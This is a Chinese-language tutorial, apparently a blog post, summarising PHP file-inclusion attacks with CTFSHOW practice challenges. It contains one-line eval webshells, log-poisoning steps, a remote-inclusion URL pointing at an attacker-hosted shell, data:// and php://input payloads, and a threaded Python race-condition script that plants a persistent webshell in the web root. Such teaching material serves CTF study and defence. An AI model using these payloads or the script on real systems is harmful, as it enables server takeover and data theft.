文件包含总结
原理:
Web 应用在使用文件包含函数(如 include/require)时,未对用户可控的文件路径参数进行严格过滤,导致攻击者可构造恶意路径,让服务器包含并执行非预期的文件(如本地敏感文件、远程恶意脚本等),进而引发任意文件读取或代码执行等风险。
常见的文件包含函数
包含时可以不用(),用""也是可以成功利用的。
include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行;
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本;
include_once()和 require_once():若文件中代码已被包含,则不会再次包含。
文件包含分为两种类型,本地文件包含与远程文件包含。
文件包含漏洞一般都要求,allow_url_fopen、allow_url_include这两个选项为ON。
本地文件包含
本地包含文件,被包含的文件在本地。
包含敏感文件
如果未对文件包含的参数作限制,那么便可以任意读取本地的所有文件。其中便包含一些敏感文件比如/etc/passwd。

包含图片
文件包含还可以包含一张图片,但是如果图片中被植入了恶意代码,那么便会执行里面的恶意代码。但是这通常与文件上传漏洞一起利用。
包含日志文件
文件包含漏洞还有一种最常用的利用方式便是包含日志文件。
常见的日志文件目录如下:
/var/log/nginx/access.log
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
原理:在中间件的日志文件中,会记录访问日志,日志中包含的信息通常包含请求时间,请求url,参数,以及UA等请求头。如果我们能够包含日志文件的话,我们便可以在日志包含的信息处比如UA处写入恶意代码,然后刻意的去发送http请求,让恶意的php代码出现在日志文件当中,接着包含此日志文件便可以成功利用恶意代码。
例题:CTFSHOW-web入门-web80
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
可以看到这题将php与data都给过滤了。这时候我们便可以尝试包含日志文件。
先随便抓一个包,看看中间件是什么,才能知道日志文件在哪

可以看到中间件是nginx,而nginx的日志文件存放在
/var/log/nginx/access.log
直接读取一下

发现是能读到日志文件的,那我们尝试往日志文件中注入一句话木马,就写在User-Agent里。

然后尝试使用蚁剑连接

然后便可以翻阅目录查看flag了

远程文件包含
当无法本地文件包含的时候我们还可以尝试包含远程文件。提前在自己云服务器上准备一个木马文件。
内容如下:
<?php eval($_POST['cmd']);?>
然后我们传入参数
?file=http://your_ip/muma.php
如果包含成功,那同样也会执行里面的恶意代码。
不过大部分时候都会将点给过滤掉,这个时候可以将ip转数字,然后文件名不用后缀绕过。
伪协议
在利用文件包含漏洞的时候,经常会跟伪协议一起搭配使用。一些常用的伪协议如下。
在 php.ini 里有两个重要的参数:allow_url_fopen、allow_url_include。 allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件; allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;
file://
通过file协议可以访问本地文件系统,读取到文件的内容,不受allow_url_fopen与allow_url_include的影响。常用来本地文件包含中任意文件读取。
php://filter
php://filter 是 PHP 中的一种伪协议,用于在读取或写入文件时对数据流进行过滤和转换。它允许你在不修改原始文件的情况下,对文件内容执行各种编码、解码或转换操作,常用于安全审计、数据处理或漏洞利用场景。
使用前提:开启了allow_url_fopen和allow_url_include
有关这个伪协议的更详细讲解我单独写了一篇文章:http://www.k1rito.xyz/index.php/2025/07/20/%e9%87%8d%e6%96%b0%e8%ae%a4%e8%af%86%e4%bc%aa%e5%8d%8f%e8%ae%aephp-filter%e5%92%8c%e6%ad%bb%e4%ba%a1%e4%bb%a3%e7%a0%81%e7%9a%84%e7%bb%95%e8%bf%87/
我就不在这里赘述了。
php://input
php://input可以读取没有处理过的post数据,也就是请求体中的内容。
测试代码:
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

可见如果请求体中是php代码,那么文件包含后便会执行它并返回执行结果。
zip://、zlib://、bzip2://
zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
并且不受allow_url_fopen和allow_url_include影响。
/zip://[压缩文件绝对路径]%23[压缩文件内的子文件名] %23是#的url编码
/test.php?file=compress.zlib://shell.zip
/test.php?file=compress.bzip2://shell.bz2
示例:
- zip://伪协议
压缩 phpinfo.txt 为 phpinfo.zip ,并上传(支持任意后缀,比如将zip改为jpg也是可以的)

- zlib://伪协议
依旧使用上面压缩好的phpinfo.zip(同样支持任意后缀)

- bzip://伪协议
需要将phpinfo.txt压缩为phpinfo.bz(同样支持任意后缀)。
我的php没有bzip2扩展便不演示了。
data://
这也是经常用的伪协议之一
使用前提:开启了allow_url_fopen和allow_url_include
利用 data:// 伪协议可以直接达到执行php代码的效果,例如phpinfo()
data://text/plain/,<?php phpinfo();?>

还可以搭配base64一起使用,效果一样
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b +要替换成%2b

glob://
PHP 伪协议 glob:// 可以用于获取符合指定模式的文件路径列表。类似于原生的 glob() 函数,但 glob:// 可以用于读取远程文件系统或者压缩文件中的文件列表。也可以用来绕过open_basedir的限制。
以下两种方式皆是使用glob协议来扫描目录
var_export(glob('*'));#查看当前目录
$a = new DirectoryIterator("glob:///*"); // 创建一个DirectoryIterator对象,遍历根目录
foreach ($a as $f) { // 遍历每个条目
echo($f->__toString() . ' '); // 输出条目的名称,并添加一个空格
}
exit(0);
其余的伪协议比较冷门,基本没怎么用过我便不再介绍了。
Session文件包含
前言
在php5.4版本以后,php就提供了session.upload_progress功能。而如果某些配置有问题,便导致可以利用session.upload_progress功能作为跳板,从而进行文件包含和反序列化漏洞利用。
session.upload_progress
在php.ini有以下几个重要的默认选项
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
enabled=on表示启用session.upload_progress,这时向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
cleanup=on表示当文件上传结束后,会立马清空对应session会话文件的内容。
name当它出现在表单中,php将会报告上传进度,最大的好处是,PHP_SESSION_UPLOAD_PROGRESS的值是可控的;
name+prefix合起来作为键名保存到$_Session中。比如PHP_SESSION_UPLOAD_PROGRESS = test,那么保存到$_Session中便是$_Session['upload_progress_test'],最终保存在当前会话的Session文件中(/tmp/sess_<会话ID>)
漏洞原理
当session.use_strict_mode=off时,我们对Cookie中sessionid是可控。也就是说如果我们在 Cookie 里设置了 PHPSESSID=test,PHP 将会在服务器上创建一个文件:/tmp/sess_test。
前面介绍session.upload_progress的时候提到,当enabled=on的时候。此时上传文件,PHP 会将上传进度信息存储到$_SESSION中,其中的键名便是"uploadprogress"+"PHP_SESSION_UPLOAD_PROGRESS的值"。而PHP_SESSION_UPLOAD_PROGRESS的值是我们可以控制的。所以我们可以在此处写入恶意代码比如一句话木马。
由于session_start()启动了会话,或者选项session.auto_start=On。PHP 会将上传进度信息以MARKDOWN_HASH316c916410a7683569450fd7b6c75635MARKDOWNHASH的形式存储到会话文件中(/tmp/session<你指定的id>)。如果还存在文件包含的漏洞,那么便可以包含我们指定id的session会话文件,从而成功执行我们写入的一句话木马。
又由于默认情况下cleanup = on,也就是说文件上传成功后立马便会清空session文件里的内容。这个时候便可以利用条件竞争的方式,让其成功被包含。在服务器还未将此文件删除的时候成功文件包含此文件,从而执行我们的恶意代码。
利用脚本
利用这个漏洞的原理我们可以写一个利用的脚本。
import requests
import io
import threading
url = 'http://987a851c-4cf7-4ac0-97ea-fe6bb7455fe5.challenge.ctf.show/' # 改成自己的url
sessionid = 'Lynzia' # 设置PHPSESSID为Lynzia,使生成的临时文件名为sess_Lynzia
cookies = {
'PHPSESSID':sessionid
}
def write(session): # write()函数用于写入session临时文件
fileBytes = io.BytesIO(b'a'*1024*50) # 设置上传文件的大小为50k
data2 = {
'PHP_SESSION_UPLOAD_PROGRESS':'<?=eval($_POST[1])?>' # 设置sess_Lynzia临时文件的内容为<?=eval($_POST[1])?> 实现一句话
}
files = {
'file':('truthahn.jpg',fileBytes)
}
while True:
res = session.post(url,data=data2,cookies=cookies,files=files)
# print(res.text)
#print('======= write done! ======')
def read(session): # read()函数利用session临时文件生成一句话木马,实现rce
data1 = {
"1":"file_put_contents('/var/www/html/3.php','<?=eval($_POST[2]);?>');" # 使用file_put_contents()php内置函数生成名为3.php的shell文件
}
while True:
res = session.post(url+'?file=/tmp/sess_'+sessionid,data=data1,cookies=cookies)
# print(res.text)
res2 = session.get(url+'3.php')
# print(res2.text)
if res2.status_code == 200: #若3.php成功生成,则返回Done!,否则返回失败的状态码
print('++++++++ Done! +++++++++')
else:
print(res2.status_code)
if __name__ == '__main__':
event = threading.Event()
with requests.session() as session: # 为每个函数设置5个线程并发执行
for i in range(5):
#print('*'*50)
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
#print('='*50)
threading.Thread(target=read,args=(session,)).start()
event.set()
当运行结果中出现done的时候,就说明利用成功了。这时候网站根目录下会有一个木马文件,我们可以直接访问然后命令执行。
例题
CTFSHOW-web入门-web82-web86皆是,我就以web82为例子。
直接替换脚本中的url然后跑脚本。
脚本运行成功的话会在网站根目录生成一个3.php文件,内容是一句话木马。
如下图所示就是成功了。

访问3.php并执行命令

成功拿到flag
文件包含篇暂且告一段落,下一篇不出意外会把sql注入或者反序列化总结完。